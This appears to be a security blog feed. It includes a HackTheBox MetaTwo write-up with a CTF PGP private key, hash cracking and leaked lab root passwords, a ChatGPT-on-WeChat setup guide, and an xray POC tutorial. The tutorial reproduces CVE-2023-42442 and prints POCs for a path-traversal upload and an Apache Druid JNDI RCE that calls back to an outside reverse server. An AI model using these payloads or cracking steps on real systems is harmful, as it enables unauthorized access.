utvl+03LgmilpA5OHqmpRWd24UhVSAD+KiO8l4wV2VOPkXfoGSqe+1DRXanAsoRp
dRqQCcshEQ25AQ0EYrhX1hAEAIQaf8Vj0R+p/jy18CX9Di/Jlxgum4doFHkTtpqR
ZBSuM1xOUhNM58J/SQgXGMthHj3ebng2AvYjdx+wWJYQFGkb5VO+99gmOk28NY25
hhS8iMUu4xycHd3V0/j8q08RfqHUOmkhIU+CWawpORH+/+2hjB+FHF7olq4EzxYg
6L4nAAMFA/4ukPrKvhWaZT2pJGlju4QQvDXQlrASiEHD6maMqBGO5tJqbkp+DJtM
F9UoDa53FBRFEeqclY6kQUxnzz48C5WsOc31fq+6vj/40w9PbrGGBYJaiY/zouO1
FU9d04WCssSi9J5/BiYiRwFqhMRXqvHg9tqUyKLnsq8mwn0Scc5SVYh4BBgRCAAg
FiEEfGeGp1YbyE9QSGceOHd1w1dF0gMFAmK4V9YCGwwACgkQOHd1w1dF0gOm5gD9
GUQfB+Jx/Fb7TARELr4XFObYZq7mq/NUEC+Po3KGdNgA/04lhPjdN3wrzjU3qmrL
fo6KI+w2uXLaw+bIT1XZurDN
=dqsF
-----END PGP PUBLIC KEY BLOCK-----
-----BEGIN PGP PRIVATE KEY BLOCK-----

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
=7Uo6
-----END PGP PRIVATE KEY BLOCK-----

保存私钥到文件key,并转换为john hash格式:

1
2
3
4
5
6
7
┌──(root@kali)-[/home/h4m5t/Desktop/HTB/MetaTwo]
└─# gpg2john key > key.hash
File key

┌──(root@kali)-[/home/h4m5t/Desktop/HTB/MetaTwo]
└─# cat key.hash
Passpie:$gpg$*17*54*3072*e975911867862609115f302a3d0196aec0c2ebf79a84c0303056df921c965e589f82d7dd71099ed9749408d5ad17a4421006d89b49c0*3*254*2*7*16*21d36a3443b38bad35df0f0e2c77f6b9*65011712*907cb55ccb37aaad:::Passpie (Auto-generated by Passpie) <passpie@local>::key

First let us generate the password hash from the private GPG key using gpg2john and save it into a file named key.hash
运行john时报错:

1
Crash recovery file is locked: /root/.john/john.rec

解决方法:

1
rm /root/.john/john.rec

开始爆破:

1
2
3
4
5
6
7
8
9
10
11
12
13
┌──(root@kali)-[/home/h4m5t/Desktop/HTB/MetaTwo]
└─# john -wordlist=/usr/share/wordlists/rockyou.txt key.hash
Using default input encoding: UTF-8
Loaded 1 password hash (gpg, OpenPGP / GnuPG Secret Key [32/64])
Cost 1 (s2k-count) is 65011712 for all loaded hashes
Cost 2 (hash algorithm [1:MD5 2:SHA1 3:RIPEMD160 8:SHA256 9:SHA384 10:SHA512 11:SHA224]) is 2 for all loaded hashes
Cost 3 (cipher algorithm [1:IDEA 2:3DES 3:CAST5 4:Blowfish 7:AES128 8:AES192 9:AES256 10:Twofish 11:Camellia128 12:Camellia192 13:Camellia256]) is 7 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
blink182 (Passpie)
1g 0:00:00:02 DONE (2024-09-15 17:48) 0.3937g/s 75.59p/s 75.59c/s 75.59C/s carolina..november
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

爆破出密码blink182

利用爆破出的密码,导出passpie密码库:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
jnelson@meta2:~$ passpie export passwd
Passphrase:
jnelson@meta2:~$ ls
passwd user.txt
jnelson@meta2:~$ cat passwd
credentials:
- comment: ''
fullname: root@ssh
login: root
modified: 2022-06-26 08:58:15.621572
name: ssh
password: !!python/unicode 'p7qfAZt4_A1xo_0x'
- comment: ''
fullname: jnelson@ssh
login: jnelson
modified: 2022-06-26 08:58:15.514422
name: ssh
password: !!python/unicode 'Cb4_JmWM8zUZWMu@Ys'
handler: passpie
version: 1.0

使用root密码p7qfAZt4_A1xo_0x 登陆获得root_flag.

1
2
3
4
jnelson@meta2:~$ su root
Password:
root@meta2:/home/jnelson# cat /root/root.txt
e0a4f8aac97646de58a612e9825392dd

注意事项

对于已经爆破成功的文件:第二次只用show参数即可,不需要重复多次爆破。

1
2
3
┌──(root@kali)-[/home/h4m5t/Desktop/HTB/MetaTwo]
└─# john --show user.hash
manager:partylikearockstar

参考

https://github.com/evyatar9/Writeups/tree/master/HackTheBox/MetaTwo

https://medium.com/@KonradDaWo/hackthebox-metatwo-writeup-59135896c890

https://7rocky.github.io/en/htb/metatwo/

https://enterprise.hackthebox.com/machine/605/19206/writeup

]]>
+ + + + + <h1 id="信息收集"><a href="#信息收集" class="headerlink" title="信息收集"></a>信息收集</h1><figure class="highlight bash"><table><tr><td class="gutter"><pre + + + + + + + + + +
+ + + ChatGPT 接入微信实践 + + http://h4m5t.github.io/2023/11/05/wechatGPT/ + 2023-11-05T03:24:03.000Z + 2024-09-24T05:05:42.000Z + + ChatGPT 接入微信实践

安装方法

参考:https://github.com/zhayujie/chatgpt-on-wechat

1
2
3
4
5
git clone https://github.com/zhayujie/chatgpt-on-wechat
cd chatgpt-on-wechat/

pip3 install -r requirements.txt
pip3 install -r requirements-optional.txt

修改配置文件:

1
2
cp config-template.json config.json
vim config.json
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
{
"open_ai_api_key": "sk-",
"model": "gpt-3.5-turbo",
"channel_type": "wx",
"open_ai_api_base": "https://api.aiproxy.io/v1",
"proxy": "",
"hot_reload": false,
"single_chat_prefix": [
"bot",
"@bot"
],
"single_chat_reply_prefix": "[bot] ",
"group_chat_prefix": [
"@bot"
],
"group_name_white_list": ["ALL_GROUP"],
"group_chat_in_one_session": [
"ChatGPT测试群"
],
"image_create_prefix": [
"画"
],
"speech_recognition": false,
"group_speech_recognition": false,
"voice_reply_voice": false,
"conversation_max_tokens": 1000,
"expires_in_seconds": 3600,
"character_desc": "你是ChatGPT, 一个由OpenAI训练的大型语言模型, 你旨在回答并解决人们的任何问题,并且可以使用多种语言与人交流。",
"temperature": 0.7,
"top_p": 1,
"subscribe_msg": "感谢您的关注!\n这里是ChatGPT,可以自由对话。\n支持语音对话。\n支持图片输入。\n支持图片输出,画字开头的消息将按要求创作图片。\n支持tool、角色扮演和文字冒险等丰富的插件。\n输入{trigger_prefix}#help 查看详细指令。",
"use_linkai": true,
"linkai_api_base": "https://api.link-ai.tech",
"linkai_api_key": "Link_",
"linkai_app_code": ""
}

API获取

项目默认使用OpenAI接口,需前往 OpenAI注册页面 创建账号,创建完账号则前往 API管理页面 创建一个 API Key 并保存下来,后面需要在项目中配置这个key。接口需要海外网络访问及绑定信用卡支付。

或者使用第三方API。

比如:https://aiproxy.io/。(消费很多)

或者:https://chat.link-ai.tech (推荐,便宜)

注意,配置第三方linkai_api之后,无需再配置open_ai_api_key.

配置文件如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
{
"model": "gpt-3.5-turbo",
"channel_type": "wx",
"proxy": "",
"hot_reload": false,
"single_chat_prefix": [
"bot",
"@bot"
],
"single_chat_reply_prefix": "[bot] ",
"group_chat_prefix": [
"@bot"
],
"group_name_white_list": ["ALL_GROUP"],
"group_chat_in_one_session": [
"ChatGPT测试群"
],
"image_create_prefix": [
"画"
],
"speech_recognition": false,
"group_speech_recognition": false,
"voice_reply_voice": false,
"conversation_max_tokens": 1000,
"expires_in_seconds": 3600,
"character_desc": "你是ChatGPT, 一个由OpenAI训练的大型语言模型, 你旨在回答并解决人们的任何问题,并且可以使用多种语言与人交流。",
"temperature": 0.7,
"top_p": 1,
"subscribe_msg": "感谢您的关注!\n这里是ChatGPT,可以自由对话。\n支持语音对话。\n支持图片输入。\n支持图片输出,画字开头的消息将按要求创作图片。\n支持tool、角色扮演和文字冒险等丰富的插件。\n输入{trigger_prefix}#help 查看详细指令。",
"use_linkai": true,
"linkai_api_base": "https://api.link-ai.tech",
"linkai_api_key": "Link_",
"linkai_app_code": ""
}

常用命令

启动程序

直接启动:python3 app.py

后台运行:nohup python3 app.py & tail -f nohup.out

日志输出到nohup.out

关闭进程

搜索进程并kill

1
2
3
ps -ef | grep app.py | grep -v grep

kill -9 加进程号

tool插件

介绍

https://github.com/goldfishh/chatgpt-on-wechat/blob/master/plugins/tool/README.md

Tool工具: 与操作系统和互联网交互,支持最新信息搜索、数学计算、天气和资讯查询、网页总结,基于 chatgpt-tool-hub 实现

相关API申请方法如下:

https://github.com/goldfishh/chatgpt-tool-hub/blob/master/docs/apply_optional_tool.md

配置tool插件

进入目录配置:plugins/tool

cp config.json.template config.json

配置需要开启的插件,有些需要API

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
 1 {
2 "tools": [
3 "news",
4 "morning-news",
5 "wikipedia",
6 "python",
7 "url-get",
8 "terminal",
9 "bing-search",
10 "meteo-weather"],
11 "kwargs": {
12 "llm_api_key": "",
13 "proxy": "",
14 "debug": false,
15 "top_k_results": 2,
16 "no_default": false,
17 "model_name": "gpt-3.5-turbo",
18 "news_api_key": "",
19 "bing_subscription_key": "",
20 "morning_news_api_key": ""
21 }
22 }

使用tool插件

#help tool: 查看tool帮助信息,可查看已加载工具列表
$tool 命令: 根据给出的{命令}使用一些可用工具尽力为你得到结果。
$tool reset: 重置工具。

插件未启用bug

使用一段时间后,提供插件未启用,排查发现是配置文件自动改为了false.

重新修改为true即可。

chatgpt-on-wechat/plugins/plugins.json

1
2
3
4
19         "tool": {
20 "enabled": true,
21 "priority": 0
22 },

知识库平台配置

参考

https://github.com/zhayujie/chatgpt-on-wechat/tree/master/plugins/linkai

https://link-ai.tech/platform/link-app/wechat

获取API

进入控制台:

https://chat.link-ai.tech/console/factory

新用户有免费的600积分。

我充值了1w积分,生成一张图片需要150积分。

配置插件

plugins/linkai 目录下的 config.json.template 配置模板复制为最终生效的 config.json

配置项中 group_app_map 部分是用于映射群聊与LinkAI平台上的应用, midjourney 部分是 mj 画图的配置,summary 部分是文档总结及对话功能的配置。三部分的配置相互独立,可按需开启。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
{
"group_app_map": { # 群聊 和 应用编码 的映射关系
"测试群名称1": "default", # 表示在名称为 "测试群名称1" 的群聊中将使用app_code 为 default 的应用
"测试群名称2": "Kv2fXJcH"
},
"midjourney": {
"enabled": true, # midjourney 绘画开关
"auto_translate": true, # 是否自动将提示词翻译为英文
"img_proxy": true, # 是否对生成的图片使用代理,如果你是国外服务器,将这一项设置为false会获得更快的生成速度
"max_tasks": 3, # 支持同时提交的总任务个数
"max_tasks_per_user": 1, # 支持单个用户同时提交的任务个数
"use_image_create_prefix": true # 是否使用全局的绘画触发词,如果开启将同时支持由`config.json`中的 image_create_prefix 配置触发
},
"summary": {
"enabled": true, # 文档总结和对话功能开关
"group_enabled": true, # 是否支持群聊开启
"max_file_size": 5000 # 文件的大小限制,单位KB,默认为5M,超过该大小直接忽略
}
}

主配置文件

添加下面几行。

1
2
3
4
"use_linkai": true,
"linkai_api_key": "",
"linkai_app_code": "", #选填
"linkai_api_base": "https://api.link-ai.chat", # linkAI服务地址,若国内无法访问或延迟较高可改为 https://api.link-ai.tech

刚开始没有写linkai_api_base,会报错。加入这个参数之后可以正常使用。

Midjourney绘图功能

开启之后,艾特机器人,并输入提示词”画”,就会根据要求输出图片。

文档总结功能

该功能依赖 LinkAI的知识库及对话功能,需要在项目根目录的config.json中设置 linkai_api_key, 同时根据上述插件配置说明,在插件config.json添加 summary 部分的配置,设置 enabled 为 true。

如果不想创建 plugins/linkai/config.json 配置,可以直接通过 $linkai sum open 指令开启该功能。

功能开启后,向机器人发送 文件分享链接卡片 即可生成摘要,进一步可以与文件或链接的内容进行多轮对话。

  1. 文件目前 支持 txt, docx, pdf, md, csv格式,文件大小由 max_file_size 限制,最大不超过15M,文件字数最多可支持百万字的文件。但不建议上传字数过多的文件,一是token消耗过大,二是摘要很难覆盖到全部内容,只能通过多轮对话来了解细节。
  2. 分享链接 目前仅支持 公众号文章,后续会支持更多文章类型及视频链接等
  3. 总结及对话的 费用与 LinkAI 3.5-4K 模型的计费方式相同,按文档内容的tokens进行计算

语音功能

暂时报错,未解决。

提示缺少ffmpeg ,安装后发现后台运行会报错,且未解决问题。

于是直接关闭语音识别和回复语音的功能。

1
2
3
23   "speech_recognition": false,
24 "group_speech_recognition": false,
25 "voice_reply_voice": false,

效果演示

工具列表

tools

今日新闻

news

操作电脑终端

terminal

Midjourney画图

Midjourney

Url-Get

urlget

生成摘要

zhaiyao

总结

花了一整天时间,成功接入微信。效果还是很不错,可以当作群助手,配置tool插件后提供了更强大了功能。

比如:

1
2
已加载工具列表: 
python, url-get, python, summary, terminal, browser, url-get, wikipedia, arxiv, hello-tool, google-search, wolfram-alpha, debug, answer-user, news-api, finance-news, morning-news, news, bing-search, searxng-search, meteo-weather, morning-news, wikipedia, meteo-weather, terminal

需要服务器资源,GPT API资源,以及linkai资源以接入Midjourney.使用人数多的话,也是一笔不小的支出。

参考

https://www.wangpc.cc/aigc/wechat_com-chatgpt/

https://www.zsanjin.de/posts-gpt4api.html

]]>
+ + + + + <h1 id="ChatGPT-接入微信实践"><a href="#ChatGPT-接入微信实践" class="headerlink" title="ChatGPT 接入微信实践"></a>ChatGPT 接入微信实践</h1><h2 id="安装方法"><a href="#安 + + + + + + + + + + + +
+ + + xray之以CVE-2023-42442为例POC编写 + + http://h4m5t.github.io/2023/09/23/xray/ + 2023-09-23T09:43:58.000Z + 2024-09-24T05:05:42.000Z + + xray下载

社区版下载和使用

注意下载新版的,旧版可能无法加载自定义POC

https://github.com/chaitin/xray/releases

使用方法

查看help

xray_windows_amd64.exe webscan --help

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
Version: 1.9.11/eb0c331d/COMMUNITY

NAME:
xray - A powerful scanner engine [https://docs.xray.cool]

USAGE:
[global options] command [command options] [arguments...]

COMMANDS:
webscan, ws Run a webscan task
servicescan, ss Run a service scan task
subdomain, sd Run a subdomain task
poclint, pl, lint lint yaml poc
burp-gamma, btg Convert the export file of burp historical proxy records to POC format
transform transform other script to gamma
reverse Run a standalone reverse server
convert convert results from json to html or from html to json
genca GenerateToFile CA certificate and key
upgrade check new version and upgrade self if any updates found
version Show version info
x A command that enables all plugins.
You can customize new commands or modify the plugins enabled by a command in the configuration file.
help, h Shows a list of commands or help for one command

GLOBAL OPTIONS:
--config FILE Load configuration from FILE (default: "config.yaml")
--log-level value Log level, choices are debug, info, warn, error, fatal
--help, -h show help
[INFO] 2023-09-21 17:36:22 [default:entry.go:226] Loading config file from config.yaml

查看webscan使用

xray_windows_amd64.exe webscan --help

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
Version: 1.9.11/eb0c331d/COMMUNITY

NAME:
webscan - Run a webscan task

USAGE:
webscan [command options] [arguments...]

OPTIONS:
--list, -l list plugins
--plugins value, --plugin value, --plug value specify the plugins to run, separated by ','
--poc value, -p value specify the poc to run, separated by ','
--level value specify the level of poc to run, separated by ','
--tags value specify the level of poc to run, separated by ','

--listen value use proxy resource collector, value is proxy addr, (example: 127.0.0.1:1111)
--basic-crawler value, --basic value use a basic spider to crawl the target and scan the requests
--browser-crawler value, --browser value use a browser spider to crawl the target and scan the requests
--url-file value, --uf value read urls from a local file and scan these urls, one url per line
--burp-file value, --bf value read requests from burpsuite exported file as targets
--url value, -u value scan a **single** url
--data value, -d value data string to be sent through POST (e.g. 'username=admin')
--raw-request FILE, --rr FILE load http raw request from a FILE
--force-ssl, --fs force usage of SSL/HTTPS for raw-request

--json-output FILE, --jo FILE output xray results to FILE in json format
--html-output FILE, --ho FILE output xray result to FILE in HTML format
--webhook-output value, --wo value post xray result to url in json format

CVE-2023-42442漏洞复现

参考:https://blog.csdn.net/holyxp/article/details/133066481

https://www.secrss.com/articles/58981

burp发送请求包:

1
2
3
4
5
6
7
8
GET /api/v1/terminal/sessions/?limit=2 HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/117.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: close
Upgrade-Insecure-Requests: 1

查看response

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
HTTP/1.1 200 OK
Server: nginx
Date: Thu, 21 Sep 2023 08:05:28 GMT
Content-Type: application/json
Content-Length: 1782
Connection: close
Vary: Accept, Accept-Language, Cookie
Allow: GET, POST, PUT, PATCH, DELETE, HEAD, OPTIONS
X-Frame-Options: DENY
Content-Language: en
X-Content-Type-Options: nosniff
Referrer-Policy: same-origin
Set-Cookie: SESSION_COOKIE_NAME_PREFIX=jms_; Path=/

{"count":18168,"next":"http://example.com/api/v1/terminal/sessions/?limit=2&offset=2","previous":null,"results":[{"id":"4d2f4dfc-8332-46e1-a691-fe5dbe72fc63","user":"林(lin@example.com)","asset":"林(10.15.168.113)","user_id":"70932e0f-5e36-4086-821a-ee453d01f39f","asset_id":"bac40e7c-27d9-4040-b4ad-b692576ac0c9","account":"@INPUT(ltc)","account_id":"4172edfc-4c65-43af-844d-ad729c98babd","protocol":"rdp","type":{"value":"normal","label":"Normal"},"login_from":{"value":"WT","label":"Web Terminal"},"remote_addr":"172.33.4.215","comment":null,"terminal":{"id":"f4bc8fa3-8ff2-4836-b0a0-17a07c314ce4","name":"[Lion]-centos-73bf114de44f"},"command_amount":0,"org_id":"00000000-0000-0000-0000-000000000002","org_name":"Default","is_success":true,"is_finished":false,"has_replay":false,"has_command":false,"can_replay":false,"can_join":true,"can_terminate":true,"date_start":"2023/09/21 16:04:36 +0800","date_end":null},{"id":"95f80041-4bda-45e5-a513-f4bc55385587","user":"郭(guo@example.com)","asset":"郭(10.18.100.100)","user_id":"74b08df7-cadc-4e9b-a1b7-1dd6a53f0314","asset_id":"6dd5488f-bd7a-4731-817f-85217416a52c","account":"@INPUT(GW)","account_id":"98ab7554-e018-4f3d-b936-c1c9a37b62ab","protocol":"rdp","type":{"value":"normal","label":"Normal"},"login_from":{"value":"WT","label":"Web Terminal"},"remote_addr":"172.33.129.206","comment":null,"terminal":{"id":"f4bc8fa3-8ff2-4836-b0a0-17a07c314ce4","name":"[Lion]-centos-73bf114de44f"},"command_amount":0,"org_id":"00000000-0000-0000-0000-000000000002","org_name":"Default","is_success":true,"is_finished":false,"has_replay":false,"has_command":false,"can_replay":false,"can_join":true,"can_terminate":true,"date_start":"2023/09/21 16:03:41 +0800","date_end":null}]}

自定义POC演示

使用方法,运行单个自定义POC,命令如下:

1
xray_windows_amd64.exe webscan --plugins phantasm --poc .\POC\yaml-poc-fit2cloud-jumpserver-unauthorized_access-CVE-2023-42442.yml --url http://example.com/ --html-output CVE-2023-42442.html --json-output CVE-2023-42442.json

这是一个JumpServer未授权访问漏洞(CVE-2023-42442)。POC如下:

原理很简单,这段代码描述了对服务器响应的检查条件。它要求响应的状态码为200,并且响应体中包含特定的字符串:”count”、”next”、”previous”和”results”。这些条件共同判断了漏洞利用的成功条件。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
name: poc-yaml-jumpserver-session-replay-unauth
transport: http
rules:
r0:
request:
method: GET
path: /api/v1/terminal/sessions/?limit=1
follow_redirects: false
expression: >-
response.status == 200 &&
response.body_string.contains('"count":') &&
response.body_string.contains('"next":') &&
response.body_string.contains('"previous":') &&
response.body_string.contains('"results":')
expression: r0()
detail:
author: Chaitin
links:
- https://stack.chaitin.com/techblog/detail/156

执行过程:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
____  ___.________.    ____.   _____.___.
\ \/ /\_ __ \ / _ \ \__ | |
\ / | _ _/ / /_\ \ / | |
/ \ | | \/ | \ \____ |
\___/\ \ |____| /\____|_ / / _____/
\_/ \_/ \_/ \/

Version: 1.9.11/eb0c331d/COMMUNITY

[INFO] 2023-09-21 17:03:17 [default:entry.go:226] Loading config file from config.yaml

Enabled plugins: [phantasm]

[INFO] 2023-09-21 17:03:18 [phantasm:phantasm.go:114] found local poc .\POC\yaml-poc-fit2cloud-jumpserver-unauthorized_access-CVE-2023-42442.yml
[INFO] 2023-09-21 17:03:18 [phantasm:phantasm.go:185] 1 pocs have been loaded (debug level will show more details)
[INFO] 2023-09-21 17:03:18 [default:dispatcher.go:444] processing GET http://example.com/
[Vuln: phantasm]
Target "http://example.com/"
VulnType "poc-yaml-jumpserver-session-replay-unauth/default"
Author "Chaitin"
Links ["https://stack.chaitin.com/techblog/detail/156"]

[*] All pending requests have been scanned
[*] scanned: 1, pending: 0, requestSent: 2, latency: 40.50ms, failedRatio: 0.00%
[INFO] 2023-09-21 17:03:19 [controller:dispatcher.go:573] controller released, task done

最后,打开html报告查看漏洞详情即可。

POC编写指南

如何编写高质量POC:https://docs.xray.cool/#/guide/hiq/summary

规则实验室:https://poc.xray.cool/

可以通过该工具便捷的生成POC,同时可以使用该工具对POC进行格式检查与查重

具体可以查看开发者文档:https://docs.xray.cool/#/guide/README

社区贡献的POC:https://github.com/chaitin/xray/tree/master/pocs

POC示例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
name: poc-yaml-yonyou-chanjet-file-updoad
manual: true
transport: http
set:
randstr: randomLowercase(60)
rboundary: randomLowercase(8)
randname: randomLowercase(6)
rules:
r0:
request:
cache: true
method: POST
path: /tplus/SM/SetupAccount/Upload.aspx?preload=1
headers:
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary{{rboundary}}
body: "\
------WebKitFormBoundary{{rboundary}}\r\n\
Content-Disposition: form-data; name=\"File1\"; filename=\"../../../img/login/{{randname}}.jpg\"\r\n\
Content-Type: image/jpeg\r\n\
\r\n\
{{randstr}}\r\n\
------WebKitFormBoundary{{rboundary}}--\
"
expression: response.status == 200
r1:
request:
cache: true
method: GET
path: /tplus/img/login/{{randname}}.jpg
expression: response.status == 200 && response.body.bcontains(bytes(randstr))
expression: r0() && r1()
detail:
author: Jarcis-cy
links:
- https://weibo.com/ttarticle/x/m/show/id/2309404807909669208397?_wb_client_=1
vulnerability:
id: CT-475791
level: critical
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
name: poc-yaml-apache-druid-kafka-rce
transport: http
set:
reverse: newReverse()
reverseRMI: reverse.rmi
rules:
r0:
request:
method: POST
path: /druid/indexer/v1/sampler?for=connect
follow_redirects: false
headers:
Content-Type: application/json
body: |-
{
"type":"kafka",
"spec":{
"type":"kafka",
"ioConfig":{
"type":"kafka",
"consumerProperties":{
"bootstrap.servers":"6.6.6.6:9092",
"sasl.mechanism":"SCRAM-SHA-256",
"security.protocol":"SASL_SSL",
"sasl.jaas.config":"com.sun.security.auth.module.JndiLoginModule required user.provider.url=\"{{reverseRMI}}\" useFirstPass=\"true\" serviceName=\"x\" debug=\"true\" group.provider.url=\"xxx\";"
},
"topic":"any",
"useEarliestOffset":true,
"inputFormat":{
"type":"regex",
"pattern":"([\\s\\S]*)",
"listDelimiter":"56616469-6de2-9da4-efb8-8f416e6e6965",
"columns":[
"raw"
]
}
},
"dataSchema":{
"dataSource":"sample",
"timestampSpec":{
"column":"!!!_no_such_column_!!!",
"missingValue":"1970-01-01T00:00:00Z"
},
"dimensionsSpec":{

},
"granularitySpec":{
"rollup":false
}
},
"tuningConfig":{
"type":"kafka"
}
},
"samplerConfig":{
"numRows":500,
"timeoutMs":15000
}
}
expression: reverse.wait(5)
expression: r0()
detail:
author: chaitin
]]>
+ + + + + <h1 id="xray下载"><a href="#xray下载" class="headerlink" title="xray下载"></a>xray下载</h1><p>社区版下载和使用</p> +<p>注意下载新版的,旧版可能无法加载自定义POC</p> +<p><a href= + + + + + + + + + + + +
+ + + WAF + + http://h4m5t.github.io/2023/06/23/waf/ + 2023-06-23T03:25:00.000Z + 2024-09-24T05:05:42.000Z + + WAF概念介绍

WAF概念

WAF的产品形态

WAF部署模式

开源WAF

]]>
+ + + + + <h1 id="WAF概念介绍"><a href="#WAF概念介绍" class="headerlink" title="WAF概念介绍"></a>WAF概念介绍</h1><h2 id="WAF概念"><a href="#WAF概念" class="headerlink" ti + + + + + + + + + + + +
